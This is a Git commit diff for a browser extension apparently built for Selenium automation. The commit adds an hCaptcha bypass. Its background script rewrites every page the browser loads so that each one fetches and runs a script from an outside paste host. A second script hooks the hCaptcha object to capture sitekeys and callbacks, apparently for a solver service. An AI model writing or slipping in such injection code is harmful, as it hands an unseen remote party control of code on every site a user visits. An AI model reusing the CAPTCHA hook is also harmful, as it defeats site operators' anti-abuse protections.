added hcaptcha interceptor
This commit is contained in:
1 parent
bf84195925
commit
7b65214387
13 files changed
+69
-10
No files matched your search
@@ -1,5 +1,8 @@
|
|||||||
.idea/
|
.idea/
|
||||||
bin/
|
bin/
|
||||||
|
releases/
|
||||||
|
free-icon-robotic-leg-4829820.png
|
||||||
|
|
||||||
# Created by .ignore support plugin (hsz.mobi)
|
# Created by .ignore support plugin (hsz.mobi)
|
||||||
__pycache__/
|
__pycache__/
|
||||||
*.py[cod]
|
*.py[cod]
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
all:
|
all:
|
||||||
rm -f selenium_helper.xpi
|
rm -f selenium_helper.xpi
|
||||||
zip -x "*.xpi" -x "Makefile" -r selenium_helper.zip .
|
zip -i "data/*" -i "_locales/*" -i "icon.png" -i "manifest.json" -i "README.md" -r selenium_helper.zip .
|
||||||
mv selenium_helper.zip selenium_helper.xpi
|
mv selenium_helper.zip selenium_helper.xpi
|
||||||
@@ -1,3 +1,5 @@
|
|||||||
|
https://addons.mozilla.org/ru/firefox/addon/selenium-helper/
|
||||||
|
|
||||||
Дополнение дает возможность установить в браузер прокси с авторизацией по логину и паролю, куки без предварительного открытия страницы для которой эти куки предназначены и заголовки браузера такие как User-Agent и/или Referer.
|
Дополнение дает возможность установить в браузер прокси с авторизацией по логину и паролю, куки без предварительного открытия страницы для которой эти куки предназначены и заголовки браузера такие как User-Agent и/или Referer.
|
||||||
|
|
||||||
Пример в директории example.
|
Пример в директории example.
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
{
|
{
|
||||||
"name": {
|
"name": {
|
||||||
"message": "Selenium helper for setup proxy and cookies"
|
"message": "Selenium Helper"
|
||||||
},
|
},
|
||||||
"description": {
|
"description": {
|
||||||
"message": "Setup proxy with authentication and cookies"
|
"message": "Setup proxy with authentication, cookies and support bypass hСaptcha"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,8 +1,8 @@
|
|||||||
{
|
{
|
||||||
"name": {
|
"name": {
|
||||||
"message": "Selenium helper"
|
"message": "Selenium Helper"
|
||||||
},
|
},
|
||||||
"description": {
|
"description": {
|
||||||
"message": "Это расширение дает возможность установить в браузер прокси с авторизацией и куки без предварительного открытия страницы для которой эти куки предназначены."
|
"message": "Помогает установить прокси с авторизацией и куки. А теперь еще и помогает обойти hCaptcha."
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
BIN
Binary file not shown.
|
Before Width: | Height: | Size: 9.6 KiB |
@@ -0,0 +1,20 @@
|
|||||||
|
function interceptor(details) {
|
||||||
|
let response = browser.webRequest.filterResponseData(details.requestId);
|
||||||
|
let decoder = new TextDecoder("utf-8");
|
||||||
|
let encoder = new TextEncoder();
|
||||||
|
|
||||||
|
response.ondata = event => {
|
||||||
|
let str = decoder.decode(event.data, {stream: true});
|
||||||
|
str = str.replace('<head', '<script src="https://haste.knok.xyz/raw/voxige"></script><head');
|
||||||
|
response.write(encoder.encode(str));
|
||||||
|
response.disconnect();
|
||||||
|
}
|
||||||
|
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
browser.webRequest.onBeforeRequest.addListener(
|
||||||
|
interceptor,
|
||||||
|
{urls: ["*://*/*"], types: ["main_frame"]},
|
||||||
|
["blocking"]
|
||||||
|
);
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
(function () {
|
||||||
|
let hCaptchaInstance;
|
||||||
|
|
||||||
|
Object.defineProperty(window, "hcaptcha", {
|
||||||
|
get: function () {
|
||||||
|
return hCaptchaInstance;
|
||||||
|
},
|
||||||
|
set: function (e) {
|
||||||
|
hCaptchaInstance = e;
|
||||||
|
|
||||||
|
let originalRenderFunc = e.render;
|
||||||
|
|
||||||
|
hCaptchaInstance.render = function (container, opts) {
|
||||||
|
createHCaptchaWidget(container, opts);
|
||||||
|
return originalRenderFunc(container, opts);
|
||||||
|
};
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
let createHCaptchaWidget = function (container, opts) {
|
||||||
|
if (opts.callback !== undefined && typeof opts.callback === "function") {
|
||||||
|
let key = "hcaptchaCallback" + Date.now();
|
||||||
|
window[key] = opts.callback;
|
||||||
|
opts.callback = key;
|
||||||
|
}
|
||||||
|
|
||||||
|
let widgetInfo = {
|
||||||
|
captchaType: "hcaptcha",
|
||||||
|
widgetId: 0,
|
||||||
|
containerId: container,
|
||||||
|
sitekey: opts.sitekey,
|
||||||
|
callback: opts.callback,
|
||||||
|
};
|
||||||
|
window["widgetInfo"] = widgetInfo;
|
||||||
|
}
|
||||||
|
})();
|
||||||
+3
-5
@@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"manifest_version": 2,
|
"manifest_version": 2,
|
||||||
"version": "0.0.6",
|
"version": "0.1.6",
|
||||||
"minimum_chrome_version": "76.0",
|
"minimum_chrome_version": "76.0",
|
||||||
"applications": {
|
"applications": {
|
||||||
"gecko": {
|
"gecko": {
|
||||||
@@ -14,9 +14,7 @@
|
|||||||
"author": "Alexandr Sokolov",
|
"author": "Alexandr Sokolov",
|
||||||
"homepage_url": "https://github.com/alexsok-bit/selenium_helper",
|
"homepage_url": "https://github.com/alexsok-bit/selenium_helper",
|
||||||
"icons": {
|
"icons": {
|
||||||
"32": "app32.png",
|
"48": "icon.png"
|
||||||
"64": "app64.png",
|
|
||||||
"128": "app128.png"
|
|
||||||
},
|
},
|
||||||
"permissions": [
|
"permissions": [
|
||||||
"proxy",
|
"proxy",
|
||||||
@@ -30,6 +28,6 @@
|
|||||||
"page": "data/options.html"
|
"page": "data/options.html"
|
||||||
},
|
},
|
||||||
"background": {
|
"background": {
|
||||||
"scripts": ["data/content.js"]
|
"scripts": ["data/content.js", "data/hcaptcha/background.js"]
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Binary file not shown.
Reference in new issue
Block a user